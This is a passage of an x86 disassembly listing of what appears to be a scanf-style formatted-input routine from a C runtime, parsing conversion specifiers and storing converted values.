		inc	esi
		push	eax
		call	sub_41E095
		add	esp, 0Ch


loc_41ADBB:				; CODE XREF: sub_41AD3D+8Ej
		test	eax, eax
		jz	short loc_41ADCD
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E095
		pop	ecx
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------


loc_41ADCD:				; CODE XREF: sub_41AD3D+58j
					; sub_41AD3D+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41B6AF
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41AE04:				; CODE XREF: sub_41AD3D+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_437F6C, 1
		jle	short loc_41AE21
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41AE30
; ---------------------------------------------------------------------------


loc_41AE21:				; CODE XREF: sub_41AD3D+D3j
		mov	ecx, ds:off_437D60
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41AE30:				; CODE XREF: sub_41AD3D+E2j
		test	eax, eax
		jz	short loc_41AE46
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE46:				; CODE XREF: sub_41AD3D+F5j
		cmp	ebx, 4Eh
		jg	short loc_41AE89
		jz	short loc_41AEAB
		cmp	ebx, 2Ah
		jz	short loc_41AE84
		cmp	ebx, 46h
		jz	short loc_41AEAB
		cmp	ebx, 49h
		jz	short loc_41AE66
		cmp	ebx, 4Ch
		jnz	short loc_41AE98
		inc	[ebp+var_D]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE66:				; CODE XREF: sub_41AD3D+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41AE98
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41AE98
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE84:				; CODE XREF: sub_41AD3D+113j
		inc	[ebp+var_E]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE89:				; CODE XREF: sub_41AD3D+10Cj
		cmp	ebx, 68h
		jz	short loc_41AEA5
		cmp	ebx, 6Ch
		jz	short loc_41AE9D
		cmp	ebx, 77h
		jz	short loc_41AEA0


loc_41AE98:				; CODE XREF: sub_41AD3D+122j
					; sub_41AD3D+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE9D:				; CODE XREF: sub_41AD3D+154j
		inc	[ebp+var_D]


loc_41AEA0:				; CODE XREF: sub_41AD3D+159j
		inc	[ebp+var_5]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AEA5:				; CODE XREF: sub_41AD3D+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41AEAB:				; CODE XREF: sub_41AD3D+107j
					; sub_41AD3D+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41AE04
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41AED0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41AED0:				; CODE XREF: sub_41AD3D+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41AEEE
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41AEEA
		cmp	al, 43h
		jz	short loc_41AEEA
		or	[ebp+var_5], 0FFh
		jmp	short loc_41AEEE
; ---------------------------------------------------------------------------


loc_41AEEA:				; CODE XREF: sub_41AD3D+1A1j
					; sub_41AD3D+1A5j
		mov	[ebp+var_5], 1


loc_41AEEE:				; CODE XREF: sub_41AD3D+19Bj
					; sub_41AD3D+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41AF27
		cmp	esi, 63h
		jz	short loc_41AF18
		cmp	esi, 7Bh
		jz	short loc_41AF18
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41B7CA
		pop	ecx
		jmp	short loc_41AF23
; ---------------------------------------------------------------------------


loc_41AF18:				; CODE XREF: sub_41AD3D+1C5j
					; sub_41AD3D+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799


loc_41AF23:				; CODE XREF: sub_41AD3D+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41AF27:				; CODE XREF: sub_41AD3D+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41AF37
		cmp	[ebp+var_C], eax
		jz	loc_41B713


loc_41AF37:				; CODE XREF: sub_41AD3D+1EFj
		cmp	esi, 6Fh
		jg	loc_41B19E
		jz	loc_41B450
		cmp	esi, 63h
		jz	loc_41B17B
		cmp	esi, 64h
		jz	loc_41B450
		jle	loc_41B1C8
		cmp	esi, 67h
		jle	short loc_41AF9B
		cmp	esi, 69h
		jz	short loc_41AF83
		cmp	esi, 6Eh
		jnz	loc_41B1C8
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41B67E
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41AF83:				; CODE XREF: sub_41AD3D+229j
		push	64h
		pop	esi


loc_41AF86:				; CODE XREF: sub_41AD3D+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41B210
		mov	[ebp+var_17], 1
		jmp	loc_41B215
; ---------------------------------------------------------------------------


loc_41AF9B:				; CODE XREF: sub_41AD3D+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41AFB7
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41AFBC
; ---------------------------------------------------------------------------


loc_41AFB7:				; CODE XREF: sub_41AD3D+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41AFD3


loc_41AFBC:				; CODE XREF: sub_41AD3D+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFD6
; ---------------------------------------------------------------------------


loc_41AFD3:				; CODE XREF: sub_41AD3D+27Dj
		mov	edi, [ebp+arg_0]


loc_41AFD6:				; CODE XREF: sub_41AD3D+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41AFE5
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41AFEC


loc_41AFE5:				; CODE XREF: sub_41AD3D+29Dj
		mov	[ebp+var_C], 15Dh


loc_41AFEC:				; CODE XREF: sub_41AD3D+2A6j
					; sub_41AD3D+2F2j
		cmp	ds:dword_437F6C, 1
		jle	short loc_41B001
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B00C
; ---------------------------------------------------------------------------


loc_41B001:				; CODE XREF: sub_41AD3D+2B6j
		mov	eax, ds:off_437D60
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B00C:				; CODE XREF: sub_41AD3D+2C2j
		test	eax, eax
		jz	short loc_41B031
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B031
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFEC
; ---------------------------------------------------------------------------


loc_41B031:				; CODE XREF: sub_41AD3D+2D1j
					; sub_41AD3D+2DBj
		cmp	ds:byte_437F70,	bl
		jnz	short loc_41B09F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B09F
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		mov	al, ds:byte_437F70
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41B05A:				; CODE XREF: sub_41AD3D+360j
		cmp	ds:dword_437F6C, 1
		jle	short loc_41B06F
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B07A
; ---------------------------------------------------------------------------


loc_41B06F:				; CODE XREF: sub_41AD3D+324j
		mov	eax, ds:off_437D60
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B07A:				; CODE XREF: sub_41AD3D+330j
		test	eax, eax
		jz	short loc_41B09F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B09F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B05A
; ---------------------------------------------------------------------------


loc_41B09F:				; CODE XREF: sub_41AD3D+2FAj
					; sub_41AD3D+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41B137
		cmp	ebx, 65h
		jz	short loc_41B0B7
		cmp	ebx, 45h
		jnz	loc_41B137


loc_41B0B7:				; CODE XREF: sub_41AD3D+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B137
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41B0DE
		mov	[esi], al
		inc	esi
		jmp	short loc_41B0E3
; ---------------------------------------------------------------------------


loc_41B0DE:				; CODE XREF: sub_41AD3D+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B101


loc_41B0E3:				; CODE XREF: sub_41AD3D+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41B0F2
		and	[ebp+var_C], eax
		jmp	short loc_41B101
; ---------------------------------------------------------------------------


loc_41B0F2:				; CODE XREF: sub_41AD3D+3AEj
					; sub_41AD3D+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B101:				; CODE XREF: sub_41AD3D+3A4j
					; sub_41AD3D+3B3j
		cmp	ds:dword_437F6C, 1
		jle	short loc_41B116
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B121
; ---------------------------------------------------------------------------


loc_41B116:				; CODE XREF: sub_41AD3D+3CBj
		mov	eax, ds:off_437D60
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B121:				; CODE XREF: sub_41AD3D+3D7j
		test	eax, eax
		jz	short loc_41B137
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B137
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41B0F2
; ---------------------------------------------------------------------------


loc_41B137:				; CODE XREF: sub_41AD3D+366j
					; sub_41AD3D+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B7B3
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_4380A0
		add	esp, 0Ch
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B17B:				; CODE XREF: sub_41AD3D+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41B18A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41B18A:				; CODE XREF: sub_41AD3D+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41B194
		mov	[ebp+var_16], 1


loc_41B194:				; CODE XREF: sub_41AD3D+451j
		mov	edi, offset dword_4380D0
		jmp	loc_41B2A9
; ---------------------------------------------------------------------------


loc_41B19E:				; CODE XREF: sub_41AD3D+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41B44C
		sub	eax, 3
		jz	loc_41B29A
		dec	eax
		dec	eax
		jz	loc_41B450
		sub	eax, 3
		jz	loc_41AF86
		sub	eax, 3
		jz	short loc_41B1EC


loc_41B1C8:				; CODE XREF: sub_41AD3D+21Bj
					; sub_41AD3D+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41B713
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41AD3D+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41B1F6
		mov	[ebp+var_16], 1


loc_41B1F6:				; CODE XREF: sub_41AD3D+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41B2AD
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41B2A9
; ---------------------------------------------------------------------------


loc_41B210:				; CODE XREF: sub_41AD3D+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41B237


loc_41B215:				; CODE XREF: sub_41AD3D+259j
		dec	[ebp+var_C]
		jnz	short loc_41B226
		cmp	[ebp+var_20], 0
		jz	short loc_41B226
		mov	[ebp+var_F], 1
		jmp	short loc_41B237
; ---------------------------------------------------------------------------


loc_41B226:				; CODE XREF: sub_41AD3D+4DBj
					; sub_41AD3D+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B237:				; CODE XREF: sub_41AD3D+4D6j
					; sub_41AD3D+4E7j
		cmp	ebx, 30h
		jnz	loc_41B485
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41B285
		cmp	bl, 58h
		jz	short loc_41B285
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41B26F
		push	6Fh


loc_41B269:				; CODE XREF: sub_41AD3D+55Bj
		pop	esi
		jmp	loc_41B485
; ---------------------------------------------------------------------------


loc_41B26F:				; CODE XREF: sub_41AD3D+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41B482
; ---------------------------------------------------------------------------


loc_41B285:				; CODE XREF: sub_41AD3D+517j
					; sub_41AD3D+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41B269
; ---------------------------------------------------------------------------


loc_41B29A:				; CODE XREF: sub_41AD3D+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41B2A4
		mov	[ebp+var_16], 1


loc_41B2A4:				; CODE XREF: sub_41AD3D+561j
		mov	edi, offset dword_4380C8


loc_41B2A9:				; CODE XREF: sub_41AD3D+45Cj
					; sub_41AD3D+4CEj
		or	[ebp+var_18], 0FFh


loc_41B2AD:				; CODE XREF: sub_41AD3D+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B2D1
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41B2D1
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------


loc_41B2D1:				; CODE XREF: sub_41AD3D+584j
					; sub_41AD3D+589j
		mov	dl, [ebp+var_35]


loc_41B2D4:				; CODE XREF: sub_41AD3D+592j
					; sub_41AD3D+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41B339
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41B320
		test	dl, dl
		jz	short loc_41B320
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41B320
		inc	edi
		cmp	dl, cl
		jnb	short loc_41B2F3
		mov	al, cl
		jmp	short loc_41B2F7
; ---------------------------------------------------------------------------


loc_41B2F3:				; CODE XREF: sub_41AD3D+5B0j
		mov	al, dl
		mov	dl, cl


loc_41B2F7:				; CODE XREF: sub_41AD3D+5B4j
		cmp	dl, al
		ja	short loc_41B31C
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41B304:				; CODE XREF: sub_41AD3D+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41B304


loc_41B31C:				; CODE XREF: sub_41AD3D+5BCj
		xor	dl, dl
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------


loc_41B320:				; CODE XREF: sub_41AD3D+5A0j
					; sub_41AD3D+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------


loc_41B339:				; CODE XREF: sub_41AD3D+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41B743
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B34B
		mov	[ebp+arg_4], edi


loc_41B34B:				; CODE XREF: sub_41AD3D+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41B7B3
		pop	ecx
		pop	ecx


loc_41B362:				; CODE XREF: sub_41AD3D+6BCj
					; sub_41AD3D+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41B376
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41B412


loc_41B376:				; CODE XREF: sub_41AD3D+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41B406
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41B406
		cmp	[ebp+var_E], 0
		jnz	short loc_41B3FE
		cmp	[ebp+var_16], 0
		jz	short loc_41B3F3
		mov	ecx, ds:off_437D60
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B3D2
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		pop	ecx
		mov	[ebp+var_37], al


loc_41B3D2:				; CODE XREF: sub_41AD3D+686j
		push	ds:dword_437F6C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41DFCD
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41B3F6
; ---------------------------------------------------------------------------


loc_41B3F3:				; CODE XREF: sub_41AD3D+673j
		mov	[esi], al
		inc	esi


loc_41B3F6:				; CODE XREF: sub_41AD3D+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41B362
; ---------------------------------------------------------------------------


loc_41B3FE:				; CODE XREF: sub_41AD3D+66Dj
		inc	[ebp+var_30]
		jmp	loc_41B362
; ---------------------------------------------------------------------------


loc_41B406:				; CODE XREF: sub_41AD3D+649j
					; sub_41AD3D+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7B3
		pop	ecx
		pop	ecx


loc_41B412:				; CODE XREF: sub_41AD3D+633j
		cmp	[ebp+var_30], esi
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41B6A4
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B444
		and	word ptr [eax],	0
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B444:				; CODE XREF: sub_41AD3D+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B44C:				; CODE XREF: sub_41AD3D+466j
		mov	[ebp+var_D], 1


loc_41B450:				; CODE XREF: sub_41AD3D+203j
					; sub_41AD3D+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41B45E
		mov	[ebp+var_17], 1
		jmp	short loc_41B463
; ---------------------------------------------------------------------------


loc_41B45E:				; CODE XREF: sub_41AD3D+719j
		cmp	ebx, 2Bh
		jnz	short loc_41B485


loc_41B463:				; CODE XREF: sub_41AD3D+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41B474
		cmp	[ebp+var_20], 0
		jz	short loc_41B474
		mov	[ebp+var_F], 1
		jmp	short loc_41B485
; ---------------------------------------------------------------------------


loc_41B474:				; CODE XREF: sub_41AD3D+729j
					; sub_41AD3D+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		pop	ecx
		mov	ebx, eax


loc_41B482:				; CODE XREF: sub_41AD3D+543j
		mov	[ebp+var_14], ebx


loc_41B485:				; CODE XREF: sub_41AD3D+4FDj
					; sub_41AD3D+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41B59E
		cmp	[ebp+var_F], 0
		jnz	loc_41B57C


loc_41B499:				; CODE XREF: sub_41AD3D+82Cj
		cmp	esi, 78h
		jnz	short loc_41B4ED
		cmp	ds:dword_437F6C, 1
		jle	short loc_41B4B6
		push	80h
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B4C3
; ---------------------------------------------------------------------------


loc_41B4B6:				; CODE XREF: sub_41AD3D+768j
		mov	eax, ds:off_437D60
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41B4C3:				; CODE XREF: sub_41AD3D+777j
		test	eax, eax
		jz	loc_41B56E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41E0C0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41B762
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B540
; ---------------------------------------------------------------------------


loc_41B4ED:				; CODE XREF: sub_41AD3D+75Fj
		cmp	ds:dword_437F6C, 1
		jle	short loc_41B502
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B50D
; ---------------------------------------------------------------------------


loc_41B502:				; CODE XREF: sub_41AD3D+7B7j
		mov	eax, ds:off_437D60
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B50D:				; CODE XREF: sub_41AD3D+7C3j
		test	eax, eax
		jz	short loc_41B56E
		cmp	esi, 6Fh
		jnz	short loc_41B52B
		cmp	ebx, 38h
		jge	short loc_41B56E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41E0C0
		jmp	short loc_41B53A
; ---------------------------------------------------------------------------


loc_41B52B:				; CODE XREF: sub_41AD3D+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4159A0


loc_41B53A:				; CODE XREF: sub_41AD3D+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41B540:				; CODE XREF: sub_41AD3D+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41B558
		dec	[ebp+var_C]
		jz	short loc_41B57C


loc_41B558:				; CODE XREF: sub_41AD3D+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B499
; ---------------------------------------------------------------------------


loc_41B56E:				; CODE XREF: sub_41AD3D+788j
					; sub_41AD3D+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx


loc_41B57C:				; CODE XREF: sub_41AD3D+756j
					; sub_41AD3D+819j
		cmp	[ebp+var_17], 0
		jz	loc_41B662
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41B662
; ---------------------------------------------------------------------------


loc_41B59E:				; CODE XREF: sub_41AD3D+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41B65A


loc_41B5A8:				; CODE XREF: sub_41AD3D+90Aj
		cmp	esi, 78h
		jz	short loc_41B5EC
		cmp	esi, 70h
		jz	short loc_41B5EC
		cmp	ds:dword_437F6C, 1
		jle	short loc_41B5C7
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B5D2
; ---------------------------------------------------------------------------


loc_41B5C7:				; CODE XREF: sub_41AD3D+87Cj
		mov	eax, ds:off_437D60
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B5D2:				; CODE XREF: sub_41AD3D+888j
		test	eax, eax
		jz	short loc_41B64C
		cmp	esi, 6Fh
		jnz	short loc_41B5E5
		cmp	ebx, 38h
		jge	short loc_41B64C
		shl	edi, 3
		jmp	short loc_41B624
; ---------------------------------------------------------------------------


loc_41B5E5:				; CODE XREF: sub_41AD3D+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41B624
; ---------------------------------------------------------------------------


loc_41B5EC:				; CODE XREF: sub_41AD3D+86Ej
					; sub_41AD3D+873j
		cmp	ds:dword_437F6C, 1
		jle	short loc_41B604
		push	80h
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B611
; ---------------------------------------------------------------------------


loc_41B604:				; CODE XREF: sub_41AD3D+8B6j
		mov	eax, ds:off_437D60
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41B611:				; CODE XREF: sub_41AD3D+8C5j
		test	eax, eax
		jz	short loc_41B64C
		push	ebx
		shl	edi, 4
		call	sub_41B762
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B624:				; CODE XREF: sub_41AD3D+8A6j
					; sub_41AD3D+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41B636
		dec	[ebp+var_C]
		jz	short loc_41B65A


loc_41B636:				; CODE XREF: sub_41AD3D+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B5A8
; ---------------------------------------------------------------------------


loc_41B64C:				; CODE XREF: sub_41AD3D+897j
					; sub_41AD3D+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx


loc_41B65A:				; CODE XREF: sub_41AD3D+865j
					; sub_41AD3D+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41B662
		neg	edi


loc_41B662:				; CODE XREF: sub_41AD3D+843j
					; sub_41AD3D+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41B66B
		and	[ebp+var_1C], 0


loc_41B66B:				; CODE XREF: sub_41AD3D+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	short loc_41B6A4
		inc	[ebp+var_34]


loc_41B67E:				; CODE XREF: sub_41AD3D+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41B694
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B694:				; CODE XREF: sub_41AD3D+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B6A1
		mov	[eax], edi
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B6A1:				; CODE XREF: sub_41AD3D+95Ej
		mov	[eax], di


loc_41B6A4:				; CODE XREF: sub_41AD3D+241j
